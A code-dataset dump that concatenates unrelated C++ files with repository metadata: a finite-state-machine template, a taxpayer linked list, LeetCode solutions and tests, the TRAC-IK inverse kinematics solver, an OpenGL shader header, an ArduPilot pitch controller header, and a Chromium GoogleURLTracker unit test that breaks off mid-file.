FSM(ActionFn a[STATES::NESTATES][EVENTS::NEVENTS]) :
state((STATES)0), actions(a) {}
template< class Outer, typename STATES, typename EVENTS> inline
void FSM< Outer, STATES, EVENTS >::
assert_state(STATES s ) const
{
assert( state == s );
}
template< class Outer, typename STATES, typename EVENTS > inline
void FSM< Outer, STATES, EVENTS >::
state_transition( STATES new_state )
{
debug( "FSM: state %s, event %s\n",
get_state_name(state), get_state_name(new_state));
if (!is_terminal(state))
state = new_state;
}
template< class Outer, typename STATES, typename EVENTS > inline
void FSM< Outer, STATES, EVENTS >::
process_event(EVENTS ev )
{
debug( "FSM: state &s, event &s\n",
get_state_name(state), get_event_name(ev));
(this->actions[state][ev])();
}
template< class Outer, typename STATES, typename EVENTS > inline
STATES FSM< Outer, STATES, EVENTS >::
get_state()
{
return state;
}
#endif
| [
"[email protected]"
] | |
49011bb855d7013bf110e840ecb11ed1a70a37d9 | 65c350aecdd2923e4e5a6f5f6b9b3f998fd5083f | /mylist.cpp | c142d5ad784fd630040624a37ecc6193e4828a59 | [] | no_license | io-eft/di-operating-systems-first-project | d4ce0492340749cd48b79f61c57425b3fefc4328 | 759e4f38a52a8b3de308ee89c6571467f10f4c04 | refs/heads/master | 2020-12-24T19:36:55.346319 | 2016-05-20T20:22:36 | 2016-05-20T20:22:36 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,609 | cpp | #include "mylist.hpp"
MyList::Node::Node():content(NULL), next(NULL) {}
MyList::Node::Node(TaxPayer* tax):content(tax), next(NULL) {}
MyList::MyList():head(NULL), nodes(0), totaldebt(0) {}
MyList::~MyList()
{
Node* temp;
while(head != NULL)
{
temp = head;
head = head->next;
delete temp->content; //decided to use the list to free the memory of remaining taxpayers
delete temp;
}
}
bool MyList::isEmpty()
{
if(head == NULL)
return true;
else
return false;
}
void MyList::insertEntry(TaxPayer* tax)
{
Node* n = new Node(tax); //create a new node
totaldebt = totaldebt + tax->getDebt(); //increase the total debt
if(isEmpty()) //if the list is empty
{
head = n; //set the new node as the head
}
else //if the list is not empty
{
Node* current = head; //set a pointer to the head
tax->print();
if((current->content)->getDebt() < (n->content)->getDebt()) //if the new one has a bigger debt than the current head
{
n->next = head; //set the current head as the next of the new one
head = n; //set the new one as the head
}
else //if the head is larger
{
while(current->next != NULL && (((current->next)->content)->getDebt() > (n->content)->getDebt()))
{ //find a node that is bigger than the new one, but points to a node smaller than it
current = current->next;
}
n->next = current->next; //set the next of the new node as the one pointed by the node we found
current->next = n; //set the new one as next of the node we found
}
}
nodes++; //increase the number of nodes
}
void MyList::print()
{
Node* current = head; //set a temporary pointer at the head
while(current != NULL) //while there are nodes
{
(current->content)->print(); //print the content of it
current=current->next; //set the pointer as the next one
}
}
void MyList::printTopPercentile(double p)
{
Node* current = head; //set a temporary pointer at the head
double target = totaldebt*p; //find the amount we want to find the debters responsible for
while(target > 0) //while there's debt remaining
{
(current->content)->print(); //print the debter pointed at
target = target - (current->content)->getDebt(); //reduce the amount we want to cover
current = current->next; //point at the next debter
if(current == NULL) //if the pointer is now pointing on NULL
break; //break the loop
}
}
TaxPayer* MyList::getTopEntry()
{
return head->content;
}
void MyList::removeTopEntry()
{
Node* temp = head;
head = head->next;
nodes--;
delete temp;
}
void MyList::printTopEntry()
{
cout << "Top Entry:" << endl;
(head->content)->print();
}
int MyList::length()
{
return nodes;
}
TaxPayer* MyList::operator[](unsigned int i)
{
if(i <= nodes) //if we want an element that is in the list
{
Node* n = head; //set the pointer to the head
for(unsigned int j = 0; j < i; j++)
n = n->next; //find the number we're looking for
return n->content; //return it
}
else //if the requested number is bigger than the items in the list
{
return NULL; //return null
}
}
double MyList::getTotalDebt()
{
return totaldebt;
}
| [
"[email protected]"
] | |
12d3ecfb2af61df56390a4c9e1aaf95893b2dff6 | ecadb984b00652c9a746852a023e59d397299b34 | /unit_test/next_permutation_test.cpp | 96ea2f2151cabca51318c72499bf0f81210c40f8 | [] | no_license | sylcrq/leetcode | 12dfa56451cfeac7e34020f505f1c7e1efcaec25 | 315bb79471a91e74a43262ce5762eb2a40986a10 | refs/heads/master | 2021-01-20T02:46:45.683702 | 2015-07-13T06:31:42 | 2015-07-13T06:31:42 | 23,686,865 | 7 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 713 | cpp | #include "gtest/gtest.h"
#include <iostream>
#include <vector>
using namespace std;
void nextPermutation(vector<int> &num);
void print_vector(vector<int>& num)
{
for(vector<int>::iterator it=num.begin(); it != num.end(); it++)
{
std::cout << *it << "-";
}
std::cout << std::endl;
}
TEST(NextPermutationTestCase, Normal)
{
int num1[3] = {1, 2, 3};
int num2[3] = {3, 2, 1};
int num3[3] = {1, 1, 5};
vector<int> num1_(num1, num1+3);
vector<int> num2_(num2, num2+3);
vector<int> num3_(num3, num3+3);
nextPermutation(num1_);
nextPermutation(num2_);
nextPermutation(num3_);
print_vector(num1_);
print_vector(num2_);
print_vector(num3_);
}
| [
"[email protected]"
] | |
8bda1df66f0a3ee9e96040d07662a98556b83ba4 | d659fd2ed49d75a346bd02e45fa6c1f30085a609 | /tracikpy/src/trac_ik.cpp | 699db3745605c1e31cecff3247bde412e5bb4b9d | [
"MIT"
] | permissive | mjd3/tracikpy | 770428466121c2604891586c4af7633d58d1174a | 58f5a7f46ba14dd6f8a6780e32be5f365cec809e | refs/heads/main | 2023-07-11T19:07:13.714158 | 2021-08-18T00:05:29 | 2021-08-18T00:05:29 | 366,231,476 | 23 | 3 | MIT | 2021-08-11T02:25:31 | 2021-05-11T02:22:08 | C++ | UTF-8 | C++ | false | false | 11,802 | cpp | /********************************************************************************
Copyright (c) 2015, TRACLabs, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
OF THE POSSIBILITY OF SUCH DAMAGE.
********************************************************************************/
#include "trac_ik.hpp"
#include <Eigen/Geometry>
#include <kdl_parser/kdl_parser.hpp>
#include <urdf/model.h>
#include <limits>
#include <chrono>
using Clock = std::chrono::steady_clock;
namespace TRAC_IK
{
TRAC_IK::TRAC_IK(const std::string& base_link, const std::string& tip_link, const std::string& URDF_param, double _maxtime, double _eps, SolveType _type) :
initialized(false),
eps(_eps),
maxtime(_maxtime),
solvetype(_type)
{
urdf::Model robot_model;
robot_model.initString(URDF_param);
KDL::Tree tree;
if (!kdl_parser::treeFromUrdfModel(robot_model, tree))
std::cerr << "Failed to extract kdl tree from xml robot description";
if (!tree.getChain(base_link, tip_link, chain))
std::cerr << "Couldn't find chain " << base_link.c_str() << " to " << tip_link.c_str();
std::vector<KDL::Segment> chain_segs = chain.segments;
urdf::JointConstSharedPtr joint;
std::vector<double> l_bounds, u_bounds;
lb.resize(chain.getNrOfJoints());
ub.resize(chain.getNrOfJoints());
uint joint_num = 0;
for (unsigned int i = 0; i < chain_segs.size(); ++i)
{
joint = robot_model.getJoint(chain_segs[i].getJoint().getName());
if (joint->type != urdf::Joint::UNKNOWN && joint->type != urdf::Joint::FIXED)
{
joint_num++;
float lower, upper;
int hasLimits;
if (joint->type != urdf::Joint::CONTINUOUS)
{
if (joint->safety)
{
lower = std::max(joint->limits->lower, joint->safety->soft_lower_limit);
upper = std::min(joint->limits->upper, joint->safety->soft_upper_limit);
}
else
{
lower = joint->limits->lower;
upper = joint->limits->upper;
}
hasLimits = 1;
}
else
{
hasLimits = 0;
}
if (hasLimits)
{
lb(joint_num - 1) = lower;
ub(joint_num - 1) = upper;
}
else
{
lb(joint_num - 1) = std::numeric_limits<float>::lowest();
ub(joint_num - 1) = std::numeric_limits<float>::max();
}
// ROS_DEBUG_STREAM_NAMED("trac_ik", "IK Using joint " << joint->name << " " << lb(joint_num - 1) << " " << ub(joint_num - 1));
}
}
initialize();
}
TRAC_IK::TRAC_IK(const KDL::Chain& _chain, const KDL::JntArray& _q_min, const KDL::JntArray& _q_max, double _maxtime, double _eps, SolveType _type):
initialized(false),
chain(_chain),
lb(_q_min),
ub(_q_max),
eps(_eps),
maxtime(_maxtime),
solvetype(_type)
{
initialize();
}
void TRAC_IK::initialize()
{
assert(chain.getNrOfJoints() == lb.data.size());
assert(chain.getNrOfJoints() == ub.data.size());
jacsolver.reset(new KDL::ChainJntToJacSolver(chain));
nl_solver.reset(new NLOPT_IK::NLOPT_IK(chain, lb, ub, maxtime, eps, NLOPT_IK::SumSq));
iksolver.reset(new KDL::ChainIkSolverPos_TL(chain, lb, ub, maxtime, eps, true, true));
for (uint i = 0; i < chain.segments.size(); i++)
{
std::string type = chain.segments[i].getJoint().getTypeName();
if (type.find("Rot") != std::string::npos)
{
if (ub(types.size()) >= std::numeric_limits<float>::max() &&
lb(types.size()) <= std::numeric_limits<float>::lowest())
types.push_back(KDL::BasicJointType::Continuous);
else
types.push_back(KDL::BasicJointType::RotJoint);
}
else if (type.find("Trans") != std::string::npos)
types.push_back(KDL::BasicJointType::TransJoint);
}
assert(types.size() == lb.data.size());
initialized = true;
}
bool TRAC_IK::unique_solution(const KDL::JntArray& sol)
{
for (uint i = 0; i < solutions.size(); i++)
if (myEqual(sol, solutions[i]))
return false;
return true;
}
inline void normalizeAngle(double& val, const double& min, const double& max)
{
if (val > max)
{
//Find actual angle offset
double diffangle = fmod(val - max, 2 * M_PI);
// Add that to upper bound and go back a full rotation
val = max + diffangle - 2 * M_PI;
}
if (val < min)
{
//Find actual angle offset
double diffangle = fmod(min - val, 2 * M_PI);
// Add that to upper bound and go back a full rotation
val = min - diffangle + 2 * M_PI;
}
}
inline void normalizeAngle(double& val, const double& target)
{
double new_target = target + M_PI;
if (val > new_target)
{
//Find actual angle offset
double diffangle = fmod(val - new_target, 2 * M_PI);
// Add that to upper bound and go back a full rotation
val = new_target + diffangle - 2 * M_PI;
}
new_target = target - M_PI;
if (val < new_target)
{
//Find actual angle offset
double diffangle = fmod(new_target - val, 2 * M_PI);
// Add that to upper bound and go back a full rotation
val = new_target - diffangle + 2 * M_PI;
}
}
template<typename T1, typename T2>
bool TRAC_IK::runSolver(T1& solver, T2& other_solver,
const KDL::JntArray &q_init,
const KDL::Frame &p_in)
{
KDL::JntArray q_out;
double fulltime = maxtime;
KDL::JntArray seed = q_init;
double time_left;
while (true)
{
auto timediff = Clock::now() - start_time;
time_left = fulltime - std::chrono::duration<double>(timediff).count();
if (time_left <= 0)
break;
solver.setMaxtime(time_left);
int RC = solver.CartToJnt(seed, p_in, q_out, bounds);
if (RC >= 0)
{
switch (solvetype)
{
case Manip1:
case Manip2:
normalize_limits(q_init, q_out);
break;
default:
normalize_seed(q_init, q_out);
break;
}
mtx_.lock();
if (unique_solution(q_out))
{
solutions.push_back(q_out);
uint curr_size = solutions.size();
errors.resize(curr_size);
mtx_.unlock();
double err, penalty;
switch (solvetype)
{
case Manip1:
penalty = manipPenalty(q_out);
err = penalty * TRAC_IK::ManipValue1(q_out);
break;
case Manip2:
penalty = manipPenalty(q_out);
err = penalty * TRAC_IK::ManipValue2(q_out);
break;
default:
err = TRAC_IK::JointErr(q_init, q_out);
break;
}
mtx_.lock();
errors[curr_size - 1] = std::make_pair(err, curr_size - 1);
}
mtx_.unlock();
}
if (!solutions.empty() && solvetype == Speed)
break;
for (unsigned int j = 0; j < seed.data.size(); j++)
if (types[j] == KDL::BasicJointType::Continuous)
seed(j) = fRand(q_init(j) - 2 * M_PI, q_init(j) + 2 * M_PI);
else
seed(j) = fRand(lb(j), ub(j));
}
other_solver.abort();
solver.setMaxtime(fulltime);
return true;
}
void TRAC_IK::normalize_seed(const KDL::JntArray& seed, KDL::JntArray& solution)
{
// Make sure rotational joint values are within 1 revolution of seed; then
// ensure joint limits are met.
for (uint i = 0; i < lb.data.size(); i++)
{
if (types[i] == KDL::BasicJointType::TransJoint)
continue;
double target = seed(i);
double val = solution(i);
normalizeAngle(val, target);
if (types[i] == KDL::BasicJointType::Continuous)
{
solution(i) = val;
continue;
}
normalizeAngle(val, lb(i), ub(i));
solution(i) = val;
}
}
void TRAC_IK::normalize_limits(const KDL::JntArray& seed, KDL::JntArray& solution)
{
// Make sure rotational joint values are within 1 revolution of middle of
// limits; then ensure joint limits are met.
for (uint i = 0; i < lb.data.size(); i++)
{
if (types[i] == KDL::BasicJointType::TransJoint)
continue;
double target = seed(i);
if (types[i] == KDL::BasicJointType::RotJoint && types[i] != KDL::BasicJointType::Continuous)
target = (ub(i) + lb(i)) / 2.0;
double val = solution(i);
normalizeAngle(val, target);
if (types[i] == KDL::BasicJointType::Continuous)
{
solution(i) = val;
continue;
}
normalizeAngle(val, lb(i), ub(i));
solution(i) = val;
}
}
double TRAC_IK::manipPenalty(const KDL::JntArray& arr)
{
double penalty = 1.0;
for (uint i = 0; i < arr.data.size(); i++)
{
if (types[i] == KDL::BasicJointType::Continuous)
continue;
double range = ub(i) - lb(i);
penalty *= ((arr(i) - lb(i)) * (ub(i) - arr(i)) / (range * range));
}
return std::max(0.0, 1.0 - exp(-1 * penalty));
}
double TRAC_IK::ManipValue1(const KDL::JntArray& arr)
{
KDL::Jacobian jac(arr.data.size());
jacsolver->JntToJac(arr, jac);
Eigen::JacobiSVD<Eigen::MatrixXd> svdsolver(jac.data);
Eigen::MatrixXd singular_values = svdsolver.singularValues();
double error = 1.0;
for (unsigned int i = 0; i < singular_values.rows(); ++i)
error *= singular_values(i, 0);
return error;
}
double TRAC_IK::ManipValue2(const KDL::JntArray& arr)
{
KDL::Jacobian jac(arr.data.size());
jacsolver->JntToJac(arr, jac);
Eigen::JacobiSVD<Eigen::MatrixXd> svdsolver(jac.data);
Eigen::MatrixXd singular_values = svdsolver.singularValues();
return singular_values.minCoeff() / singular_values.maxCoeff();
}
int TRAC_IK::CartToJnt(const KDL::JntArray &q_init, const KDL::Frame &p_in, KDL::JntArray &q_out, const KDL::Twist& _bounds)
{
if (!initialized)
{
std::cerr << ("TRAC-IK was not properly initialized with a valid chain or limits. IK cannot proceed");
return -1;
}
start_time = Clock::now();
nl_solver->reset();
iksolver->reset();
solutions.clear();
errors.clear();
bounds = _bounds;
task1 = std::thread(&TRAC_IK::runKDL, this, q_init, p_in);
task2 = std::thread(&TRAC_IK::runNLOPT, this, q_init, p_in);
task1.join();
task2.join();
if (solutions.empty())
{
q_out = q_init;
return -3;
}
switch (solvetype)
{
case Manip1:
case Manip2:
std::sort(errors.rbegin(), errors.rend()); // rbegin/rend to sort by max
break;
default:
std::sort(errors.begin(), errors.end());
break;
}
q_out = solutions[errors[0].second];
return solutions.size();
}
TRAC_IK::~TRAC_IK()
{
if (task1.joinable())
task1.join();
if (task2.joinable())
task2.join();
}
}
| [
"[email protected]"
] | |
bd14ac94d7a1f069c508fb5479fcf0d43d5cf667 | f83a6c5560d8971b675fe52954cfb58bc1785403 | /Flame Simulation/Shader.h | 3f604739473d331716f23f06fb0c8124d1f132cc | [] | no_license | mistajuliax/Flame-Sim-OpenGL | 46b782813aced3b57cb44eee880ca792fcc99bcf | 95114f72663a3e1bb7ee87e869a75806f33036ac | refs/heads/master | 2020-03-25T05:02:10.052649 | 2018-05-23T22:22:14 | 2018-05-23T22:22:14 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 894 | h | #ifndef _SHADER_H_
#define _SHADER_H_
#include "glew.h"
#include <glm.hpp>
#include <string>
//shader class containing indexes of uniform locations and the shader program itself
//also contains functions for loading shaders from file and setting uniforms before drawing
//materials have a pointer to a shader
class Shader
{
private:
bool m_compiled;
GLint m_program;
GLint m_modelMatLocation;
GLint m_viewMatLocation;
GLint m_projectionMatLocation;
GLint m_lightPositionLocation;
GLint m_colourTextureSampleLocation;
GLint m_normalTextureSampleLocation;
const GLchar* m_vertex;
const GLchar* m_fragment;
const GLchar* m_geometry;
public:
Shader(unsigned int _switch);
void SetUniforms(glm::mat4 _modelMatrix, glm::mat4 _viewMatrix, glm::mat4 _projectionMatrix, glm::vec4 _lightPos);
GLint GetProgram(){return m_program;}
std::string LoadShader(const char* _fileName);
};
#endif | [
"[email protected]"
] | |
963334aca70870550d61995c5bd9d7092255a10f | a13e7993275058dceae188f2101ad0750501b704 | /2021/1475. Final Prices With a Special Discount in a Shop.cpp | 01dc56b7878cffaa85a2566e04e3de3188ff29d7 | [] | no_license | yangjufo/LeetCode | f8cf8d76e5f1e78cbc053707af8bf4df7a5d1940 | 15a4ab7ce0b92b0a774ddae0841a57974450eb79 | refs/heads/master | 2023-09-01T01:52:49.036101 | 2023-08-31T00:23:19 | 2023-08-31T00:23:19 | 126,698,393 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 852 | cpp | class Solution {
public:
vector<int> finalPrices(vector<int>& prices) {
vector<bool> done(prices.size(), false);
for (int i = 0; i < prices.size(); i++) {
for (int j = 0; j < i; j++) {
if (done[j] || prices[i] > prices[j]) continue;
prices[j] -= prices[i];
done[j] = true;
}
}
return prices;
}
};
class Solution {
public:
vector<int> finalPrices(vector<int>& prices) {
stack<int> indexes;
for (int i = 0; i < prices.size(); i++) {
while (!indexes.empty() && prices[indexes.top()] >= prices[i]) {
prices[indexes.top()] -= prices[i];
indexes.pop();
}
indexes.push(i);
}
return prices;
}
}; | [
"[email protected]"
] | |
b4df0eedd8832af8599d3a480595be322ab0a09a | e04f82d5b50f396ae1351d40f5e44d0df096c0b2 | /2.Advanced_Class/코드(Code)/CPP/실습관리프로그램/실습관리프로그램/member.cpp | 6a2d34dd1df2856879d7bd772931387aee79a206 | [] | no_license | SIRAbae/-BIT-Class-Sangbae-Growth-Diary | de1013e5b5187d32dfeb370a03ed6db49031739f | 50e5315ccc5af70a420aeb90c65cf12029b034eb | refs/heads/master | 2022-04-08T18:44:34.606970 | 2020-03-19T11:49:44 | 2020-03-19T11:49:44 | 246,871,821 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 30 | cpp | //member.cpp
#include "std.h"
| [
"[email protected]"
] | |
aed0754b3fa02afe315a6ddbeeb79e355e12c28e | 75170796d8bdb28af03535327c6b2e3a9db5aff7 | /old/betacopter/old/betacopter34rc5-v21r/libraries/APM_Control/AP_PitchController.h | 7cdac2d63f6eb8b332fe46537bd32110ace3e93d | [] | no_license | olliw42/storm32bgc | 3428f2c4ea4de2709fd7070f5f02a480ecd0c343 | 1bc59f3f62aedb958c01c4ae1583a59d60ab9ecf | refs/heads/master | 2023-04-29T10:18:41.201912 | 2023-04-16T12:32:24 | 2023-04-16T12:32:24 | 14,874,975 | 509 | 284 | null | null | null | null | UTF-8 | C++ | false | false | 1,597 | h | // -*- tab-width: 4; Mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*-
#pragma once
#include <AP_AHRS/AP_AHRS.h>
#include <AP_Common/AP_Common.h>
#include <AP_Vehicle/AP_Vehicle.h>
#include "AP_AutoTune.h"
#include <DataFlash/DataFlash.h>
#include <AP_Math/AP_Math.h>
class AP_PitchController {
public:
AP_PitchController(AP_AHRS &ahrs, const AP_Vehicle::FixedWing &parms, DataFlash_Class &_dataflash) :
aparm(parms),
autotune(gains, AP_AutoTune::AUTOTUNE_PITCH, parms, _dataflash),
_ahrs(ahrs)
{
AP_Param::setup_object_defaults(this, var_info);
}
int32_t get_rate_out(float desired_rate, float scaler);
int32_t get_servo_out(int32_t angle_err, float scaler, bool disable_integrator);
void reset_I();
void autotune_start(void) { autotune.start(); }
void autotune_restore(void) { autotune.stop(); }
const DataFlash_Class::PID_Info& get_pid_info(void) const { return _pid_info; }
static const struct AP_Param::GroupInfo var_info[];
AP_Float &kP(void) { return gains.P; }
AP_Float &kI(void) { return gains.I; }
AP_Float &kD(void) { return gains.D; }
AP_Float &kFF(void) { return gains.FF; }
private:
const AP_Vehicle::FixedWing &aparm;
AP_AutoTune::ATGains gains;
AP_AutoTune autotune;
AP_Int16 _max_rate_neg;
AP_Float _roll_ff;
uint32_t _last_t;
float _last_out;
DataFlash_Class::PID_Info _pid_info;
int32_t _get_rate_out(float desired_rate, float scaler, bool disable_integrator, float aspeed);
float _get_coordination_rate_offset(float &aspeed, bool &inverted) const;
AP_AHRS &_ahrs;
};
| [
"[email protected]"
] | |
2248126bd6dc083e841a62dd082be0bcc5782b05 | fb7efe44f4d9f30d623f880d0eb620f3a81f0fbd | /components/google/core/browser/google_url_tracker_unittest.cc | eed326c70f8d0b60de7f95f36fb15729473e720a | [
"BSD-3-Clause"
] | permissive | wzyy2/chromium-browser | 2644b0daf58f8b3caee8a6c09a2b448b2dfe059c | eb905f00a0f7e141e8d6c89be8fb26192a88c4b7 | refs/heads/master | 2022-11-23T20:25:08.120045 | 2018-01-16T06:41:26 | 2018-01-16T06:41:26 | 117,618,467 | 3 | 2 | BSD-3-Clause | 2022-11-20T22:03:57 | 2018-01-16T02:09:10 | null | UTF-8 | C++ | false | false | 11,513 | cc | // Copyright 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "components/google/core/browser/google_url_tracker.h"
#include <memory>
#include <string>
#include <utility>
#include "base/macros.h"
#include "base/run_loop.h"
#include "base/test/scoped_task_environment.h"
#include "base/threading/thread_task_runner_handle.h"
#include "components/google/core/browser/google_pref_names.h"
#include "components/google/core/browser/google_url_tracker_client.h"
#include "components/prefs/pref_registry_simple.h"
#include "components/prefs/pref_service.h"
#include "components/prefs/testing_pref_service.h"
#include "net/url_request/test_url_fetcher_factory.h"
#include "net/url_request/url_fetcher.h"
#include "net/url_request/url_request_test_util.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace {
// TestCallbackListener ---------------------------------------------------
class TestCallbackListener {
public:
TestCallbackListener();
virtual ~TestCallbackListener();
bool HasRegisteredCallback();
void RegisterCallback(GoogleURLTracker* google_url_tracker);
bool notified() const { return notified_; }
void clear_notified() { notified_ = false; }
private:
void OnGoogleURLUpdated();
bool notified_;
std::unique_ptr<GoogleURLTracker::Subscription>
google_url_updated_subscription_;
};
TestCallbackListener::TestCallbackListener() : notified_(false) {
}
TestCallbackListener::~TestCallbackListener() {
}
void TestCallbackListener::OnGoogleURLUpdated() {
notified_ = true;
}
bool TestCallbackListener::HasRegisteredCallback() {
return google_url_updated_subscription_.get();
}
void TestCallbackListener::RegisterCallback(
GoogleURLTracker* google_url_tracker) {
google_url_updated_subscription_ =
google_url_tracker->RegisterCallback(base::Bind(
&TestCallbackListener::OnGoogleURLUpdated, base::Unretained(this)));
}
// TestGoogleURLTrackerClient -------------------------------------------------
class TestGoogleURLTrackerClient : public GoogleURLTrackerClient {
public:
explicit TestGoogleURLTrackerClient(PrefService* prefs_);
~TestGoogleURLTrackerClient() override;
bool IsBackgroundNetworkingEnabled() override;
PrefService* GetPrefs() override;
net::URLRequestContextGetter* GetRequestContext() override;
private:
PrefService* prefs_;
scoped_refptr<net::TestURLRequestContextGetter> request_context_;
DISALLOW_COPY_AND_ASSIGN(TestGoogleURLTrackerClient);
};
TestGoogleURLTrackerClient::TestGoogleURLTrackerClient(PrefService* prefs)
: prefs_(prefs),
request_context_(new net::TestURLRequestContextGetter(
base::ThreadTaskRunnerHandle::Get())) {
}
TestGoogleURLTrackerClient::~TestGoogleURLTrackerClient() {
}
bool TestGoogleURLTrackerClient::IsBackgroundNetworkingEnabled() {
return true;
}
PrefService* TestGoogleURLTrackerClient::GetPrefs() {
return prefs_;
}
net::URLRequestContextGetter* TestGoogleURLTrackerClient::GetRequestContext() {
return request_context_.get();
}
} // namespace
// GoogleURLTrackerTest -------------------------------------------------------
class GoogleURLTrackerTest : public testing::Test {
protected:
GoogleURLTrackerTest();
~GoogleURLTrackerTest() override;
// testing::Test
void SetUp() override;
void TearDown() override;
net::TestURLFetcher* GetFetcher();
void MockSearchDomainCheckResponse(const std::string& domain);
void RequestServerCheck();
void FinishSleep();
void NotifyNetworkChanged();
void set_google_url(const GURL& url) {
google_url_tracker_->google_url_ = url;
}
GURL google_url() const { return google_url_tracker_->google_url(); }
bool listener_notified() const { return listener_.notified(); }
void clear_listener_notified() { listener_.clear_notified(); }
private:
base::test::ScopedTaskEnvironment scoped_task_environment_;
TestingPrefServiceSimple prefs_;
// Creating this allows us to call
// net::NetworkChangeNotifier::NotifyObserversOfNetworkChangeForTests().
std::unique_ptr<net::NetworkChangeNotifier> network_change_notifier_;
net::TestURLFetcherFactory fetcher_factory_;
GoogleURLTrackerClient* client_;
std::unique_ptr<GoogleURLTracker> google_url_tracker_;
TestCallbackListener listener_;
};
GoogleURLTrackerTest::GoogleURLTrackerTest() {
prefs_.registry()->RegisterStringPref(
prefs::kLastKnownGoogleURL,
GoogleURLTracker::kDefaultGoogleHomepage);
}
GoogleURLTrackerTest::~GoogleURLTrackerTest() {
}
void GoogleURLTrackerTest::SetUp() {
network_change_notifier_.reset(net::NetworkChangeNotifier::CreateMock());
// Ownership is passed to google_url_tracker_, but a weak pointer is kept;
// this is safe since GoogleURLTracker keeps the client for its lifetime.
client_ = new TestGoogleURLTrackerClient(&prefs_);
std::unique_ptr<GoogleURLTrackerClient> client(client_);
google_url_tracker_.reset(new GoogleURLTracker(
std::move(client), GoogleURLTracker::UNIT_TEST_MODE));
}
void GoogleURLTrackerTest::TearDown() {
google_url_tracker_->Shutdown();
}
net::TestURLFetcher* GoogleURLTrackerTest::GetFetcher() {
// This will return the last fetcher created. If no fetchers have been
// created, we'll pass GetFetcherByID() "-1", and it will return NULL.
return fetcher_factory_.GetFetcherByID(google_url_tracker_->fetcher_id_ - 1);
}
void GoogleURLTrackerTest::MockSearchDomainCheckResponse(
const std::string& domain) {
net::TestURLFetcher* fetcher = GetFetcher();
if (!fetcher)
return;
fetcher_factory_.RemoveFetcherFromMap(fetcher->id());
fetcher->set_url(GURL(GoogleURLTracker::kSearchDomainCheckURL));
fetcher->set_response_code(200);
fetcher->SetResponseString(domain);
fetcher->delegate()->OnURLFetchComplete(fetcher);
// At this point, |fetcher| is deleted.
}
void GoogleURLTrackerTest::RequestServerCheck() {
if (!listener_.HasRegisteredCallback())
listener_.RegisterCallback(google_url_tracker_.get());
google_url_tracker_->SetNeedToFetch();
}
void GoogleURLTrackerTest::FinishSleep() {
google_url_tracker_->FinishSleep();
}
void GoogleURLTrackerTest::NotifyNetworkChanged() {
net::NetworkChangeNotifier::NotifyObserversOfNetworkChangeForTests(
net::NetworkChangeNotifier::CONNECTION_UNKNOWN);
// For thread safety, the NCN queues tasks to do the actual notifications, so
// we need to spin the message loop so the tracker will actually be notified.
base::RunLoop().RunUntilIdle();
}
// Tests ----------------------------------------------------------------------
TEST_F(GoogleURLTrackerTest, DontFetchWhenNoOneRequestsCheck) {
EXPECT_EQ(GURL(GoogleURLTracker::kDefaultGoogleHomepage), google_url());
FinishSleep();
// No one called RequestServerCheck() so nothing should have happened.
EXPECT_FALSE(GetFetcher());
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL(GoogleURLTracker::kDefaultGoogleHomepage), google_url());
EXPECT_FALSE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, Update) {
RequestServerCheck();
EXPECT_FALSE(GetFetcher());
EXPECT_EQ(GURL(GoogleURLTracker::kDefaultGoogleHomepage), google_url());
EXPECT_FALSE(listener_notified());
FinishSleep();
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(GURL("https://www.google.co.uk/"), google_url());
EXPECT_TRUE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, DontUpdateWhenUnchanged) {
GURL original_google_url("https://www.google.co.uk/");
set_google_url(original_google_url);
RequestServerCheck();
EXPECT_FALSE(GetFetcher());
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
FinishSleep();
MockSearchDomainCheckResponse(".google.co.uk");
EXPECT_EQ(original_google_url, google_url());
// No one should be notified, because the new URL matches the old.
EXPECT_FALSE(listener_notified());
}
TEST_F(GoogleURLTrackerTest, DontUpdateOnBadReplies) {
GURL original_google_url("https://www.google.co.uk/");
set_google_url(original_google_url);
RequestServerCheck();
EXPECT_FALSE(GetFetcher());
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Old-style URL string.
FinishSleep();
MockSearchDomainCheckResponse("https://www.google.com/");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Not a Google domain.
FinishSleep();
MockSearchDomainCheckResponse(".google.evil.com");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Doesn't start with .google.
NotifyNetworkChanged();
MockSearchDomainCheckResponse(".mail.google.com");
EXPECT_EQ(original_google_url, google_url());
EXPECT_FALSE(listener_notified());
// Non-empty path.
